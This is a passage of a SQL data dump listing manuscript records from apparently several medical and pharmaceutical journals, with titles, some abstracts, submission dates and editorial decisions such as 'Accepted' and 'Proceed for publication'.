strengths and limitation of the system in order to build better system to protect patients against future threat of disease. \r\n','Burden of disease, Disability adjusted life years (DALYs), years of life lost due to disability (YLDs), years of life lost (YLLs), Economic burden, Productivity loss. ',5388,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-11-28',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(14158,14207,981,0,'ipft-24-14158','Drug Composition and Properties: Unraveling the Science Behind Medications',NULL,12,0,'','','',59097,NULL,'2023-10-28',NULL,'Submitted',15,NULL,'2024-05-04',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14159,14208,981,0,'ipft-24-14159','Toxicological Studies: A Comprehensive Overview',NULL,12,0,'','','',5438,NULL,'2023-10-28',NULL,'Submitted',15,NULL,'2024-05-04',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14160,14209,981,0,'ipft-24-14160','Mechanisms in Toxicological Studies on Drugs',NULL,12,0,'','','',5438,NULL,'2023-10-28',NULL,'Submitted',15,NULL,'2024-05-04',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14161,14210,981,0,'ipft-24-14161','Mechanisms in Pharmacological Studies of Cytotoxic Drugs',NULL,12,0,'','','',5435,NULL,'2023-10-28',NULL,'Submitted',15,NULL,'2024-05-04',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14162,14211,981,0,'ipft-24-14162','Studies of Symptoms in Pharmacological Research: Understanding the Complex Relationship',NULL,12,0,'','','',59098,NULL,'2023-10-28',NULL,'Submitted',15,NULL,'2024-05-04',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14163,14212,981,0,'ipft-24-14163','Studies of Adverse Reactions in Toxicological Studies: Health Risks',NULL,12,0,'','','',59099,NULL,'2023-10-28',NULL,'Submitted',15,NULL,'2024-05-04',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14164,14213,91,0,'ijddr-23-14164','Nanoparticles as drug delivery systems',NULL,12,0,'','','',2474,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14165,14215,981,0,'ipft-23-14165','The impact of chemical toxicology on human health and the  environment',NULL,12,0,'','','',59099,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14166,14216,91,0,'ijddr-23-14166','Phases of Drug Development: A Comprehensive Journey from Lab to Market',NULL,11,0,'','','',59095,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14167,14217,981,0,'ipft-23-14167','Drug Composition and Properties: Unraveling the Science behind Medications',NULL,12,0,'','','',59097,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2024-02-06',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14168,14218,91,0,'ijddr-23-14168','Advancements in Drug Development Research: A Journey Towards Better Healthcare',NULL,12,0,'','','',5033,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14169,14219,981,0,'ipft-23-14169','Toxicological studies: A comprehensive overview',NULL,12,0,'','','',59099,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14170,14220,981,0,'ipft-23-14170','Mechanisms in toxicological studies on drugs',NULL,12,0,'','','',59099,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14171,14222,981,0,'ipft-23-14171','Mechanisms in pharmacological studies of cytotoxic drugs',NULL,12,0,'','','',59098,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14172,14221,91,0,'ijddr-23-14172','Natural Products for Drug Discovery: An Opinion',NULL,11,0,'','','',5455,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14173,14223,981,0,'ipft-23-14173','Studies of symptoms in pharmacological research:  Understanding the complex relationship',NULL,12,0,'','','',59098,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14174,14224,91,0,'ijddr-23-14174','Understanding ADME in Drug Development: A Key to Medication Efficacy',NULL,12,0,'','','',2231,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14175,14225,981,0,'ipft-23-14175','Studies of adverse reactions in toxicological studies:  Health risks',NULL,12,0,'','','',59099,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14176,14226,981,0,'ipft-23-14176','Exploring the intersection of pharmacological and  toxicological studies in drug development',NULL,12,0,'','','',5438,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14177,14227,91,0,'ijddr-23-14177','Chemotherapy: A Lifeline in the Fight Against Cancer',NULL,12,0,'','','',3213,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-04',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14178,14228,981,0,'ipft-23-14178','Detection of poisoning in pharmacological and  toxicological studies',NULL,12,0,'','','',5438,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14179,14230,91,0,'ijddr-23-14179','The Remarkable Journey of Vaccine Development: A Triumph of Science',NULL,12,0,'','','',59100,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-04',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14180,14229,981,0,'ipft-23-14180','Pharmacological screening: The drug discovery',NULL,12,0,'','','',59098,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14181,14230,91,0,'ijddr-23-14181','Exploring the Frontier of Anti-Cancer Agents: A Promising Arsenal in the War Against Cancer',NULL,11,0,'','','',3213,NULL,'2023-10-28',NULL,'Submitted',2,NULL,'2023-12-04',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14182,14232,667,0,'iptb-23-14182','Fetal and neonatal stem cells: Derivation, characterization and differentiation for clinical use with <em>in vivo</em> validation',NULL,12,0,'','','',59101,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14183,14233,667,0,'iptb-23-14183','Embyonic stem cells: Properties and their utilizations in various techniques',NULL,12,0,'','','',59101,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14184,14234,667,0,'iptb-23-14184','Circular RNAs: Characteristics and their potential applications in thyroid cancer',NULL,12,0,'','','',59088,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14185,14235,85,0,'iphspr-23-14185','Understanding the vital role of health statistics in healthcare',NULL,12,0,'','','',59091,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14186,14236,326,0,'IPJUS-23-14186','Surgeries performed by robots',NULL,12,0,'','','',59102,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14187,14237,85,0,'iphspr-23-14187','Human health rights: A fundamental pillar of global well-being',NULL,12,0,'','','',59103,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14188,14239,85,0,'iphspr-23-14188','The health care delivery system',NULL,12,0,'','','',59091,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14189,14240,85,0,'iphspr-23-14189','The complex landscape of health systems financing: Challenges and opportunities',NULL,12,0,'','','',2922,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14190,14242,85,0,'iphspr-23-14190','Principles of physiotherapy assessment and health outcome measures',NULL,12,0,'','','',59091,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14191,14243,85,0,'iphspr-23-14191','The complex landscape of health ethics: Balancing autonomy, beneficence and justice',NULL,12,0,'','','',59104,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14192,14244,85,0,'iphspr-23-14192','Health disparities and health equity: Bridging the divide',NULL,12,0,'','','',59091,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14193,14245,85,0,'iphspr-23-14193','Innovations in health care management: Leveraging data science and technology',NULL,12,0,'','','',59091,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14194,14246,667,0,'iptb-23-14194','Dual effects of circular RNAs in thyroid and breast cancer: A complex interplay',NULL,12,0,'','','',59088,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14195,14248,85,0,'iphspr-23-14195','Health care management: Challenges, strategies and innovations',NULL,12,0,'','','',2141,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-29',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14196,14249,959,0,'ipacr-23-14196','Non-small cell lung cancer: Understanding, diagnosis, and treatment',NULL,12,0,'','Non-small cell lung cancer (NSCLC) is the most prevalent type of lung cancer, accounting for approximately 85% of all lung cancer cases. It is a complex disease with various subtypes and stages, making early detection and effective treatment crucial.','',4739,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-19',NULL,1,1,'1','PROCED FOR PUBLICATION',0,NULL,NULL,NULL,0,0,0,NULL,0),(14197,14250,959,0,'ipacr-23-14197','Genetic mutation characteristics',NULL,12,0,'','','',59105,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-19',NULL,1,1,'1','PROCED FOR PUBLICATION',0,NULL,NULL,NULL,0,0,0,NULL,0),(14198,14251,326,0,'IPJUS-23-14198','Appendectomy: A surgical procedure for appendicitis',NULL,12,0,'','Appendectomy is a surgical procedure that involves the removal of the appendix, a small, tubular organ located at the lower right side of the abdomen. This procedure is most commonly performed in cases of acute appendicitis, a condition in which the appendix becomes inflamed and infected. Appendicitis is a medical emergency that requires prompt surgical intervention to prevent potentially life-threatening complications. This article will provide an in-depth exploration of the appendectomy procedure, its indications, techniques, risks, and recovery','',59106,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-08',NULL,1,1,'1','Accpeted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14199,14252,326,0,'IPJUS-23-14199','Advancements in pediatric surgery: Pioneering techniques and care',NULL,12,0,'','Pediatric surgery has come a long way in recent decades, making significant strides in ensuring the well-being of our youngest patients. The field is constantly evolving with groundbreaking techniques, cutting-edge technologies, and specialized care, all of which have contributed to improving outcomes and enhancing the quality of life for children facing surgical challenges. This article explores the remarkable advancements in pediatric surgery, emphasizing the importance of multidisciplinary approaches and the compassion that drives this field','',59107,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14200,14253,326,0,'IPJUS-23-14200','Exploring the art and science of oral surgery: Beyond the sterile scalpel',NULL,12,0,'','Oral surgery, often perceived as a realm of sterile scalpels and numbing needles, is far more than a clinical procedure. It\'s an intricate blend of art and science, where highly skilled surgeons navigate a world hidden behind closed lips. This branch of dentistry delves into the complex universe of the oral cavity, addressing a wide range of issues, from tooth extractions to reconstructive procedures. In this article, we will embark on a journey through the fascinating world of oral surgery, exploring its multifaceted nature and the innovations that are reshaping the field','',59108,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14201,14254,326,0,'IPJUS-23-14201','Exploring the world of fibroid surgery: A comprehensive guide',NULL,12,0,'','','',59109,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-07',NULL,1,1,'1','Accepted\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(14202,14255,959,0,'ipacr-23-14202','Cervical cancer: A comprehensive overview',NULL,12,0,'perspective','','',5399,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-19',NULL,1,1,'1','PROCED FOR PUBLICATION',0,NULL,NULL,NULL,0,0,0,NULL,0),(14203,14256,326,0,'IPJUS-23-14203','Exploring the world of implant surgery: A comprehensive  guide',NULL,12,0,'','','',59110,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14204,14257,326,0,'IPJUS-23-14204','Gallbladder surgery: A comprehensive guide',NULL,3,0,'','','',59112,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14205,14258,959,0,'ipacr-23-14205','HPV vaccination: A vital step towards preventing cancer',NULL,3,0,'','','',59111,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-27',NULL,1,1,'1','Accepted for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14206,14259,326,0,'IPJUS-23-14206','Open heart surgery: A life-saving procedure',NULL,3,0,'','','',59113,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-07',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14207,14260,959,0,'ipacr-23-14207','Inter-Metallic Compounds in Cancer Treatment: A Novel Approach',NULL,12,0,'perspective','','',59114,NULL,'2023-10-30',NULL,'Submitted',14,NULL,'2023-12-19',NULL,1,1,'1','PROCED FOR PUBLICATION',0,NULL,NULL,NULL,0,0,0,NULL,0),(14208,14261,959,0,'ipacr-23-14208','Immunotherapy: A breakthrough in cancer treatment',NULL,12,0,'','','',59115,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-19',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14209,14262,959,0,'ipacr-23-14209','Cancer diagnoses and screening: An in-depth analysis',NULL,3,0,'','','',59116,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-22',NULL,1,1,'1','proced for publication ',0,NULL,NULL,NULL,0,0,0,NULL,0),(14210,14263,959,0,'ipacr-23-14210','Blood cancers: Understanding, causes, and treatment options',NULL,3,0,'','','',59117,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-19',NULL,1,1,'1','PROCED FOR PUBLICATION',0,NULL,NULL,NULL,0,0,0,NULL,0),(14211,14264,959,0,'ipacr-23-14211','Immunotherapy: Harnessing the power of the immune system to fight disease',NULL,3,0,'','','',59115,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-19',NULL,1,1,'0','PROCED FOR PUBLICATION',0,NULL,NULL,NULL,0,0,0,NULL,0),(14212,14265,959,0,'ipacr-23-14212','Skin cancer understanding, preventing, and treating a growing epidemic',NULL,12,0,'','','',59118,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-19',NULL,1,1,'0','PROCED FOR PUBLICATION',0,NULL,NULL,NULL,0,0,0,NULL,0),(14213,14266,981,0,'ipft-23-14213','Understanding the significance of symptomatology in  toxicity studies',NULL,12,0,'','','',59099,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14214,14267,981,0,'ipft-23-14214','Toxicology: The impact of harmful substances on  human health',NULL,12,0,'','','',59099,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-12-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14215,14268,981,0,'ipft-23-14215','Bridging the gap from basic research to clinical practice in  toxicology studies',NULL,12,0,'','','',59099,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14216,14269,981,0,'ipft-23-14216','The impact of metal toxicology on human health',NULL,12,0,'','','',59099,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14217,14270,981,0,'ipft-23-14217','Reproductive toxicology: Mechanisms, assessment and  implications',NULL,12,0,'','','',59099,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14218,14271,981,0,'ipft-23-14218','Neurotoxicology: Chemicals and the nervous system',NULL,12,0,'','','',59099,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14219,14272,981,0,'ipft-23-14219','Pharmacological screenings in farmacologia y toxicologia: An  in-depth analysis',NULL,12,0,'','','',5438,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14220,14273,981,0,'ipft-23-14220','Unraveling the complex web of drug interactions in pharma-cology and toxicology',NULL,12,0,'','','',5438,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14221,14274,981,0,'ipft-23-14221','Drug properties involved in pharmacology and toxicology',NULL,12,0,'','','',5438,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2024-01-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14222,14275,981,0,'ipft-23-14222','The role of healthy stem cells in toxicological research and  drug screening',NULL,12,0,'','','',59099,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14223,14276,981,0,'ipft-23-14223','Therapeutic trials in toxicological research: Advancements,  challenges and future prospects',NULL,12,0,'','','',59099,NULL,'2023-10-30',NULL,'Submitted',2,NULL,'2023-11-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14225,14287,975,0,'ipjbs-23-14225','Protein science: Unveiling the molecular wonders of life',NULL,3,0,'','','',59120,NULL,'2023-10-31',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14226,14286,975,0,'ipjbs-23-14226','Vascular autoregulation: Maintaining blood flow stability in a dynamic circulatory system',NULL,12,0,'','','',59121,NULL,'2023-10-31',NULL,'Submitted',2,NULL,'2024-01-08',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14227,14285,975,0,'ipjbs-23-14227','Biotechnological applications of plants in biomedical sciences: Harnessing nature\'s pharmacy',NULL,12,0,'','','',59122,NULL,'2023-10-31',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14228,14284,975,0,'ipjbs-23-14228','Microbiology in biomedicine: Unraveling the microbial mysteries of health and disease',NULL,12,0,'','','',59123,NULL,'2023-10-31',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14229,14282,45,0,'iphsj-23-14229','Understanding the Dynamics of Mental Health and Wellness: A Holistic Examination',NULL,5,0,'','The abstract presents a concise summary of the research article on \"Cultivating Mental Health and Wellness: A Holistic Approach to Well-being,\" providing an overview of the study\'s key elements, methodologies, and findings.\r\nThis research article delves into the multidimensional aspects of mental health and wellness, emphasizing the significance of a holistic approach in promoting a balanced and healthy mind. Acknowledging the intricate interplay between emotional, psychological, and physical well-being, the study aims to elucidate the various factors and interventions that contribute to fostering mental health and overall wellness.\r\nA comprehensive review of existing literature on mental health and wellness establishes the foundation for this research. The analysis delves into the myriad factors influencing mental health, encompassing social, environmental, and biological dimensions. These include lifestyle choices, societal attitudes, and the impact of stigma on seeking appropriate support and interventions.\r\nAdditionally, the study explores diverse holistic approaches to mental health, such as mindfulness practices, physical activity, and therapeutic interventions. The efficacy and influence of these approaches on mental well-being are investigated, emphasizing their potential in enhancing emotional resilience and reducing stress.','Mental Health; Wellness; Holistic Approach; Emotional Resilience: Therapeutic Interventions',643,NULL,'2023-11-01',NULL,'Submitted',2,NULL,'2023-11-03',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14230,14283,45,0,'iphsj-23-14230','Nutrigenomics and Personalized Nutrition: Unleashing the Power of Genetic Insights for Optimal Health',NULL,5,0,'','Nutrigenomics, the study of how nutrients interact with genes, has the potential to revolutionize the field of nutrition by providing personalized dietary recommendations for optimal health outcomes. This abstract highlights the need for continued research, collaboration, and investment in nutrigenomics and personalized nutrition. By understanding the molecular basis of food and individual responses to it, personalized nutrition plans can be tailored to an individual\'s genetic makeup and lifestyle. However, the complexity of our diet and metabolic systems, as well as genetic heterogeneity and physiological mechanisms, present challenges in developing personalized approaches. Despite these challenges, nutrigenomics holds great promise for improving public health and reducing the risk of noncommunicable diseases such as obesity, cancer, and diabetes. To fully unleash the power of genetic insights for optimal health, further advancements and integration of genetics and nutrition are essential.','Keywords: Nutrigenomics, personalized nutrition, genetic insights, optimal health, molecular basis, individual responses, genetic makeup, lifestyle, complexity of diet, metabolic systems, genetic heterogeneity, physiological mechanisms',4076,NULL,'2023-11-01',NULL,'Submitted',2,NULL,'2023-11-03',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(14231,14289,667,0,'iptb-23-14231','Interrelation of High Blood Pressure and Cardiomyopathy: Is Really High Blood Pressure Leads to Cardiomyopathy',NULL,12,0,'','','',5429,NULL,'2023-11-02',NULL,'Submitted',2,NULL,'2024-02-08',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14232,14290,667,0,'iptb-23-14232','The End Stage of Cardiomyopathy: A Condition of High Blood Pressure',NULL,12,0,'','','',5429,NULL,'2023-11-02',NULL,'Submitted',2,NULL,'2024-02-08',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14233,14291,667,0,'iptb-23-14233','Essential examination in muscular medical procedure: Latest things and future headings',NULL,12,0,'','','',4935,NULL,'2023-11-02',NULL,'Submitted',2,NULL,'2023-12-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14234,14292,667,0,'iptb-23-14234','Clinical interventions in aging: Unlocking the secrets to a healthier and longer life',NULL,12,0,'','','',59080,NULL,'2023-11-02',NULL,'Submitted',2,NULL,'2023-12-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14235,14293,667,0,'iptb-23-14235','The intricate world of clinical hemorheology and microcirculation',NULL,12,0,'','','',3334,NULL,'2023-11-02',NULL,'Submitted',2,NULL,'2023-12-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14238,14296,667,0,'iptb-23-14238','Dermatologic drug therapy in adults and adolescents',NULL,12,0,'','','',59125,NULL,'2023-11-02',NULL,'Submitted',2,NULL,'2023-12-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14239,14297,667,0,'iptb-23-14239','An overview of dermatologic diagnosis by various technologies',NULL,12,0,'','','',59126,NULL,'2023-11-02',NULL,'Submitted',2,NULL,'2023-12-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14240,14298,667,0,'iptb-23-14240','Understanding drug metabolism and pharmacokinetics: The key to effective medication',NULL,12,0,'','','',59125,NULL,'2023-11-02',NULL,'Submitted',2,NULL,'2023-12-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14241,14299,667,0,'iptb-23-14241','The role of action of extracellular vesicles in neurodegenerative diseases',NULL,12,0,'','','',5452,NULL,'2023-11-02',NULL,'Submitted',2,NULL,'2023-12-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14242,14300,667,0,'iptb-23-14242','A note on cancer treatment: Progress and challenges',NULL,12,0,'','','',3512,NULL,'2023-11-02',NULL,'Submitted',2,NULL,'2023-12-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14244,14302,45,0,'iphsj-23-14244','Positive Association between Hearing  Impairment and Obesity in Adults Aged 20  Years and Older in US: Data from the 2015- 2016 National Health and Nutrition Survey  (NHANES)',NULL,14,1,'Recent Innovations in Health Science','  ','',4076,NULL,'2023-11-02',NULL,'Submitted',2,NULL,'2023-12-26',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,1),(14245,14303,251,0,'ipacm-23-14245','Candidiasis: The unseen culprit behind many health woes',NULL,12,0,'','','',59128,NULL,'2023-11-03',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14246,14304,251,0,'ipacm-23-14246','Rotavirus infection: Unmasking the hidden threat to child health',NULL,17,0,'','','',781,NULL,'2023-11-03',NULL,'Submitted',2,NULL,'2023-12-05',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14247,14305,251,0,'ipacm-23-14247','Unveiling the Hidden World: Microbial Genomics and Its Unparalleled Impact',NULL,3,0,'','','',785,NULL,'2023-11-03',NULL,'Submitted',2,NULL,'2023-12-15',NULL,1,1,'1','Proceed',0,NULL,NULL,NULL,0,0,0,NULL,0),(14248,14306,45,0,'iphsj-23-14248','Predicting motor control in Autism by measuring brain activities and characterising motor impairments ',NULL,14,0,'','The proportion of children with ASD at risk for a motor impairment was very high at 86.9%. Children with ASD did not outgrow their motor impairments and continued to present with a risk for Developmental Coordination Disorder (DCD) even into adolescence. Yet, only 31.6% of children were receiving physical therapy services [https://pubmed.ncbi.nlm.nih.gov/32154876/. Accessed on 12 October 2023]. To diagnose ASD, the clinical standardized tests are being used. To test and predict ASD the lengthy diagnostic time is required and also these tests are very costly. Machine learning techniques are being used in place of traditional methods to reduce the time and cost required to predict ASD diagnose. The field of Machine Learning, a branch of Artificial Intelligence, is utilized to diagnose Autism Spectrum Disorder (ASD) by treating it as a classification task. The proposed techniques are evaluated on Six different non-clinically ASD datasets. We have applied models such as Logistic Regression (LR), Support Vector Machine (SVM), K-nearest neighbors (KNN), Random Forest Classifier (RFC), Neural Network (NN) to our dataset and created predictive models based on the outcome. The main objective of our paper is to determine if the teenager is likely to have ASD or not. The prediction model will help the doctors to streamline the diagnosis process. Based on our results, Logistic Regression (LR) achieved better as compared to other algorithms, with an accuracy close to 95.84%. This research paper focuses on the application of machine learning techniques and the assessment of their effectiveness on an Autism Spectrum Disorder dataset. The results include a comparative analysis of various algorithms for ASD diagnosis.','AQ-10, EEG, GAN, AI, Machine Learning, Autism, Classification, SVM, KNN, Random Forest Classifier, Deep Learning, Neural Network,',691,NULL,'2023-11-05',NULL,'Submitted',12,NULL,'2023-11-07',NULL,1,1,'0',NULL,0,'','',NULL,0,0,1,NULL,0),(14249,14307,996,0,'ipar-23-14249','The Unsung Heroes Within: A Comprehensive Journey through the World of Bones',NULL,12,0,'','','',3649,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14250,14308,996,0,'ipar-23-14250','Unraveling the Art and Science of Rheumatology: Navigating the Complexities of Joint Health',NULL,12,0,'','','',3649,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14251,14309,996,0,'ipar-23-14251','Psoriatic Arthritis: Understanding, Managing, and Living with a Complex Condition',NULL,12,0,'','','',3649,NULL,'2023-11-06',NULL,'Submitted',2,NULL,'2023-12-14',NULL,1,1,'1','Proceed for 